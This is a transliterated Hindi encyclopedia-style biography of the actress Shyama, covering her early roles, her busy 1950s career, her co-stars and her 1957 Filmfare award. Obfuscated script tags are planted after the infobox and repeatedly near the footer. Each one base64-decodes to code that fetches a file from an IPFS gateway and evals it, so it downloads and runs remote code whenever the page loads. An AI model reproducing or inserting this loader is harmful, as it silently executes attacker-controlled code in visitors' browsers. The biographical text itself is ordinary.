श्यामा का फ़िल्मी कॅरियर
shyama ka filmi kॅriyar
| |
| poora nam | khurshid akhtar (mool nam) |
| prasiddh nam | shyama |
| janm | 12 joon, 1935 |
| janm bhoomi | lahaur |
| pati/patni | fali mistri |
| karm bhoomi | bharat |
| karm-kshetr | hindi sinema |
| mukhy filmean | 'shrimatiji', 'arapar', 'hathiyar', 'khel khila di ka', 'azanabi', 'hanimoon', 'milan', 'barasat ki rat', 'bhabhi' adi. |
| puraskar-upadhi | 'filmafeyar puraskar' (1957) |
| prasiddhi | abhinetri |
| nagarikata | bharatiy |
| any janakari | film ‘sharada’ mean shyama ne apani hamumr mina kumari ki maan ki bhoomika nibhane se bhi parahez nahian kiya. us bhoomika ke lie shyama ko 1957 ka sarvashreshth sahanayika ka filmafeyar puraskar mila tha. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
shyama ne 1946 mean riliz huee ‘ghooanghat’, ‘nee maan’ aur ‘nishana’ jaisi kuchh shuruati filmoan mean khurshid (jooniyar) aur bebi khurshid ke nam se kam kiya. lekin chooanki us zamane mean isi nam ki ek bahut b di star pahale se filmoan mean kam kar rahi thian, isalie unhean apana nam badalakar 'bebi shyama' rakh lena p da. agale chhah saloan mean shyama ne ‘bite din’, ‘mirabaee’, mehandi’, ‘paravana’, ‘ramaban’, ‘anamol moti’, ‘begunah’, ‘char din’, jagriti’, ‘jalatarang’, ‘jit’, ‘nach’, ‘namoona’, ‘patanga’, ‘savan bhadoan’, ‘shabanam’, ‘shayar’, ‘ahuti’, ‘nili’, sabak’ ‘sarataj’, vafa, ‘nazarana’, saza’, ‘tarana’, jaisi qarib 50 filmoan mean chhote-chhote rol kie aur phir sal 1952 mean bani film ‘shrimatiji’ mean vah pahali bar abhinetri ke taur par nazar ayian.
saphalata
‘filmistan’ ke bainar mean, aee.es.jauhar ke nirdeshan mean bani aur 1952 mean riliz huee film ‘shrimatiji’ mean shyama ke hiro nasir khaan the. 1952 mean hi nasir khaan ke sath unaki ek aur film, nirmata-nirmata dalasukh pancholi ki ‘asaman’ bhi riliz huee jo o.pi. naiyar ki bataur svatantr sangitakar pahali film thi. o.pi. naiyar isase pahale 1949 mean bani film ‘kaniz’ ka parshvasangit taiyar kar chuke the aur is film mean bhi shyama ne ek chhota sa rol kiya tha. 1950 ka dashak shyama ke kॅriyar ka sabase sunahara daur tha. us daur mean unaki vyastata ka aandaza isi bat se lagaya ja sakata hai ki sal 1952 se 1960 ke bich vah kul 82 filmoan mean aham bhoomikaoan mean nazar ayian. 1954 mean unaki 14 aur 1955 mean 13 filmean riliz huee thian, jo ki apane ap mean ek rik aaurd hai.[1]
prasiddh abhinetaoan ke sath kary
shyama ko us daur ke taqariban har ek janemane abhineta ke sath kam karane ka mauqa mila. shyama ke anusar- "gurudatt ke sath ‘arapar’, rajakumar ke sath ‘ghamand’, shammi kapoor ke sath ‘gulasanovar’ aur ‘thokar’, karan divan ke sath ‘musafirakhana’ aur ‘ladala’, ashok kumar ke sath ‘bhaeebhaee’ aur ‘bapabete’, kishor kumar ke sath ‘laharean’ aur ‘chandan’, bharat bhooshan ke sath ‘dhoopachhaanv’ aur ‘tin bhaee’, motilal ke sath ‘khushaboo’ aur ‘savadhan’, mahipal ke sath ‘tatar ka chor’ aur ‘zabak’, talat mahamood ke sath ‘lalarookh’, suresh ke sath ‘maan’ aur kamal kapoor ke sath ‘jaggoo’ meri kuchh khas filmoan mean se haian. isake alava j aauni v aaukar ke sath meri ‘chhoomantar’, ‘duniya rangarangili’, ‘j aauni v aaukar’, ‘khota paisa’ aur ‘mistar kartoon em.e.’ jaisi filmean bhi behad pasand ki gayian. ye sabhi sangitapradhan k aaumedi filmean thian. ‘khota paisa’ ke alava baqi sabhi mean us daur ke t aaup sangitakar o.pi. naiyar ka sangit tha, jinaki banaee dhunoan par daans karana hamare lie behad asan hota tha."
filmafeyar puraskar
shyama ke mutabiq़ unhoanne kabhi bhi apane kॅriyar ko plan nahian kiya. jo bhi achchhe rol unhean milate rahe, vah unhean nibhati chali gayian. 1957 mean riliz huee kul 11 filmoan mean se sat mean vah nayika thian to baqi char mean sahanayika aur charitr abhinetri. film ‘sharada’ mean unhoanne apani hamumr mina kumari ki maan ki bhoomika nibhane se bhi parahez nahian kiya. us bhoomika ke lie shyama ko 1957 ka sarvashreshth sahanayika ka filmafeyar puraskar mila tha.
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>